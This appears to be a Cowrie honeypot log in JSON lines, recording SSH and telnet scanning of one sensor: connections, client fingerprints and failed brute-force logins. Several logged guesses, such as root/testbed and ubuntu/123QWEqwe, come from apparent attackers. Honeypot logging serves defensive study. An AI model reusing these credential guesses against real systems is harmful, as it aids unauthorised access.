{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:05.591221Z","src_ip":"172.185.24.228","session":"bcbaf1d17d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user11","message":"login attempt [user/user11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:05.898782Z","src_ip":"172.185.24.228","session":"bcbaf1d17d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54228,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d91a54c4e2","protocol":"telnet","message":"New connection: 62.210.97.77:54228 (10.17.0.5:23) [session: d2d91a54c4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:06.766221Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:06.980900Z","src_ip":"172.185.24.228","session":"bcbaf1d17d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":42562,"dst_ip":"159.203.135.109","dst_port":22,"session":"a81c691bb2e8","protocol":"ssh","message":"New connection: 181.234.2.36:42562 (159.203.135.109:22) [session: a81c691bb2e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:08.017296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:08.022621Z","src_ip":"181.234.2.36","session":"a81c691bb2e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:08.115224Z","src_ip":"181.234.2.36","session":"a81c691bb2e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123QWEqwe","message":"login attempt [ubuntu/123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:08.514583Z","src_ip":"181.234.2.36","session":"a81c691bb2e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:09.609088Z","src_ip":"181.234.2.36","session":"a81c691bb2e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.56759262084961,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:12.094162Z","src_ip":"38.54.119.93","session":"1be28531e838","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44754,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4aadfd8ac6a","protocol":"telnet","message":"New connection: 62.210.97.77:44754 (10.17.0.5:23) [session: f4aadfd8ac6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:13.497986Z"}
{"eventid":"cowrie.session.closed","duration":43.73024129867554,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:15.969169Z","src_ip":"165.232.131.181","session":"2f71fe5790c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50170,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ef06b01f001","protocol":"telnet","message":"New connection: 38.54.119.93:50170 (10.17.0.5:23) [session: 9ef06b01f001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:18.279132Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46326,"dst_ip":"10.17.0.5","dst_port":23,"session":"a31f7a8fc920","protocol":"telnet","message":"New connection: 62.210.97.77:46326 (10.17.0.5:23) [session: a31f7a8fc920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:25.764113Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33480,"dst_ip":"10.17.0.5","dst_port":23,"session":"cee98eed93ce","protocol":"telnet","message":"New connection: 38.54.119.93:33480 (10.17.0.5:23) [session: cee98eed93ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:37.543342Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35002,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae0926f73606","protocol":"telnet","message":"New connection: 38.54.119.93:35002 (10.17.0.5:23) [session: ae0926f73606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:40.172971Z"}
{"eventid":"cowrie.session.closed","duration":35.35388135910034,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:42.119979Z","src_ip":"62.210.97.77","session":"d2d91a54c4e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.408343076705933,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:44.951521Z","src_ip":"38.54.119.93","session":"cee98eed93ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50184,"dst_ip":"10.17.0.5","dst_port":23,"session":"f82c92d7a85e","protocol":"telnet","message":"New connection: 165.232.131.181:50184 (10.17.0.5:23) [session: f82c92d7a85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:45.475915Z"}
{"eventid":"cowrie.session.closed","duration":1.9904022216796875,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:47.466211Z","src_ip":"165.232.131.181","session":"f82c92d7a85e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.5247118473053,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:51.022573Z","src_ip":"62.210.97.77","session":"f4aadfd8ac6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53212,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b9fb8913e27","protocol":"telnet","message":"New connection: 165.232.131.181:53212 (10.17.0.5:23) [session: 2b9fb8913e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:24:52.764094Z"}
{"eventid":"cowrie.session.closed","duration":34.56219840049744,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:00.326173Z","src_ip":"62.210.97.77","session":"a31f7a8fc920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":46046,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a671a5d1a20","protocol":"ssh","message":"New connection: 172.185.24.228:46046 (10.17.0.5:22) [session: 2a671a5d1a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:03.724694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:03.735073Z","src_ip":"172.185.24.228","session":"2a671a5d1a20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:03.832386Z","src_ip":"172.185.24.228","session":"2a671a5d1a20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"test","message":"login attempt [newuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:04.167751Z","src_ip":"172.185.24.228","session":"2a671a5d1a20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50530,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9f586f230d","protocol":"telnet","message":"New connection: 65.60.27.33:50530 (10.17.0.5:23) [session: dd9f586f230d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:05.154840Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:05.257020Z","src_ip":"172.185.24.228","session":"2a671a5d1a20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":43730,"dst_ip":"159.203.135.109","dst_port":23,"session":"65c131efee82","protocol":"telnet","message":"New connection: 192.211.53.160:43730 (159.203.135.109:23) [session: 65c131efee82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:05.335377Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":60128,"dst_ip":"159.203.135.109","dst_port":22,"session":"efcbceb5cd34","protocol":"ssh","message":"New connection: 181.234.2.36:60128 (159.203.135.109:22) [session: efcbceb5cd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:07.532097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:07.537112Z","src_ip":"181.234.2.36","session":"efcbceb5cd34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:07.630767Z","src_ip":"181.234.2.36","session":"efcbceb5cd34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Passw0rd123","message":"login attempt [user/Passw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:08.026610Z","src_ip":"181.234.2.36","session":"efcbceb5cd34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54764,"dst_ip":"10.17.0.5","dst_port":23,"session":"d434591cb927","protocol":"telnet","message":"New connection: 65.60.27.33:54764 (10.17.0.5:23) [session: d434591cb927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:08.962434Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:09.122983Z","src_ip":"181.234.2.36","session":"efcbceb5cd34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58440,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb04268911d","protocol":"telnet","message":"New connection: 65.60.27.33:58440 (10.17.0.5:23) [session: 4bb04268911d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:12.458501Z"}
{"eventid":"cowrie.session.closed","duration":54.5829644203186,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:12.861979Z","src_ip":"38.54.119.93","session":"9ef06b01f001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":42812,"dst_ip":"159.203.135.109","dst_port":22,"session":"9357c6948f00","protocol":"ssh","message":"New connection: 80.94.92.182:42812 (159.203.135.109:22) [session: 9357c6948f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:14.591558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:14.668506Z","src_ip":"80.94.92.182","session":"9357c6948f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:14.815756Z","src_ip":"80.94.92.182","session":"9357c6948f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"qwer1234","message":"login attempt [solana/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:15.673146Z","src_ip":"80.94.92.182","session":"9357c6948f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:17.033694Z","src_ip":"80.94.92.182","session":"9357c6948f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.402196407318115,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:27.575031Z","src_ip":"38.54.119.93","session":"ae0926f73606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":49294,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d017b9caa3e","protocol":"ssh","message":"New connection: 20.203.42.204:49294 (159.203.135.109:22) [session: 4d017b9caa3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:28.026163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:28.033319Z","src_ip":"20.203.42.204","session":"4d017b9caa3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:28.200217Z","src_ip":"20.203.42.204","session":"4d017b9caa3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testbed","message":"login attempt [root/testbed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:28.893302Z","src_ip":"20.203.42.204","session":"4d017b9caa3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:30.065236Z","src_ip":"20.203.42.204","session":"4d017b9caa3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51770,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a8e1638d39c","protocol":"telnet","message":"New connection: 62.210.97.77:51770 (10.17.0.5:23) [session: 9a8e1638d39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:32.294077Z"}
{"eventid":"cowrie.session.closed","duration":43.4628541469574,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:36.226852Z","src_ip":"165.232.131.181","session":"2b9fb8913e27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40942,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad435f2c6bcc","protocol":"telnet","message":"New connection: 165.232.131.181:40942 (10.17.0.5:23) [session: ad435f2c6bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:36.845146Z"}
{"eventid":"cowrie.session.closed","duration":36.8333158493042,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:41.988005Z","src_ip":"65.60.27.33","session":"dd9f586f230d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18801712989807,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:43.150336Z","src_ip":"65.60.27.33","session":"d434591cb927","protocol":"telnet"}
